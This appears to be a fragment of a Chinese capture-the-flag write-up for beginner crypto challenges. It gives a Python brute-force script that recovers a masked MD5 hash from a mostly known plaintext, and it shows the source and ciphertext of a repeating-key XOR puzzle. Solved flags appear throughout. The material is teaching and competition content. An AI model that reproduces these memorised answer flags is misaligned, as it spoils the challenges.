nctf{xor_xor_xor_biubiubiu}
MD5
python大法好! 這裏有一段丟失的md5密文 e9032???da???08????911513?0???a2 要求你還原出他而且加上nctf{}提交
已知線索 明文爲: TASC?O3RJMV?WDJKX?ZM
題目來源:安恆杯
import hashlib pool = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' s0 = 'TASC?O3RJMV?WDJKX?ZM' ss = s0.split('?') m = 'e9032???da???08????911513?0???a2' for i in pool: for j in pool: for k in pool: s = ss[0] + i + ss[1] + j + ss[2] + k + ss[3] if hashlib.md5(s).hexdigest()[:5] == m[:5]: print s, hashlib.md5(s).hexdigest() break
nctf{e9032994dabac08080091151380478a2}
Vigenere
It is said that Vigenere cipher does not achieve the perfect secrecy actually :-)
Tips: 1.The encode pragram is given; 2.Do u no index of coincidence? 3.The key is last 6 words of the plain text(with "nctf{}" when submitted, also without any interpunction)
http://ctf.nuptsast.com/static/uploads/13706e3281c1fb0c04417d3452cb745b/encode.cpp #include <stdio.h> #define KEY_LENGTH 2 // Can be anything from 1 to 13 main(){ unsigned char ch; FILE *fpIn, *fpOut; int i; unsigned char key[KEY_LENGTH] = {0x00, 0x00}; /* of course, I did not use the all-0s key to encrypt */ fpIn = fopen("ptext.txt", "r"); fpOut = fopen("ctext.txt", "w"); i=0; while (fscanf(fpIn, "%c", &ch) != EOF) { /* avoid encrypting newline characters */ /* In a "real-world" implementation of the Vigenere cipher, every ASCII character in the plaintext would be encrypted. However, I want to avoid encrypting newlines here because it makes recovering the plaintext slightly more difficult... */ /* ...and my goal is not to create "production-quality" code =) */ if (ch!='\n') { fprintf(fpOut, "%02X", ch ^ key[i % KEY_LENGTH]); // ^ is logical XOR i++; } } fclose(fpIn); fclose(fpOut); return; } ---------------------------------------------------------------------------------- http://ctf.nuptsast.com/static/uploads/9a27a6c8b9fb7b8d2a07ad94924c02e5/code.txt F96DE8C227A259C87EE1DA2AED57C93FE5DA36ED4EC87EF2C63AAE5B9A7EFFD673BE4ACF7BE8923CAB1ECE7AF2DA3DA44FCF7AE29235A24C963FF0DF3CA3599A70E5DA36BF1ECE77F8DC34BE129A6CF4D126BF5B9A7CFEDF3EB850D37CF0C63AA2509A76FF9227A55B9A6FE3D720A850D97AB1DD35ED5FCE6BF0D138A84CC931B1F121B44ECE70F6C032BD56C33FF9D320ED5CDF7AFF9226BE5BDE3FF7DD21ED56CF71F5C036A94D963FF8D473A351CE3FE5DA3CB84DDB71F5C17FED51DC3FE8D732BF4D963FF3C727ED4AC87EF5DB27A451D47EFD9230BF47CA6BFEC12ABE4ADF72E29224A84CDF3FF5D720A459D47AF59232A35A9A7AE7D33FB85FCE7AF5923AA31EDB3FF7D33ABF52C33FF0D673A551D93FFCD33DA35BC831B1F43CBF1EDF67F0DF23A15B963FE5DA36ED68D378F4DC36BF5B9A7AFFD121B44ECE76FEDC73BE5DD27AFCD773BA5FC93FE5DA3CB859D26BB1C63CED5CDF3FE2D730B84CDF3FF7DD21ED5ADF7CF0D636BE1EDB79E5D721ED57CE3FE6D320ED57D469F4DC27A85A963FF3C727ED49DF3FFFDD24ED55D470E69E73AC50DE3FE5DA3ABE1EDF67F4C030A44DDF3FF5D73EA250C96BE3D327A84D963FE5DA32B91ED36BB1D132A31ED87AB1D021A255DF71B1C436BF479A7AF0C13AA14794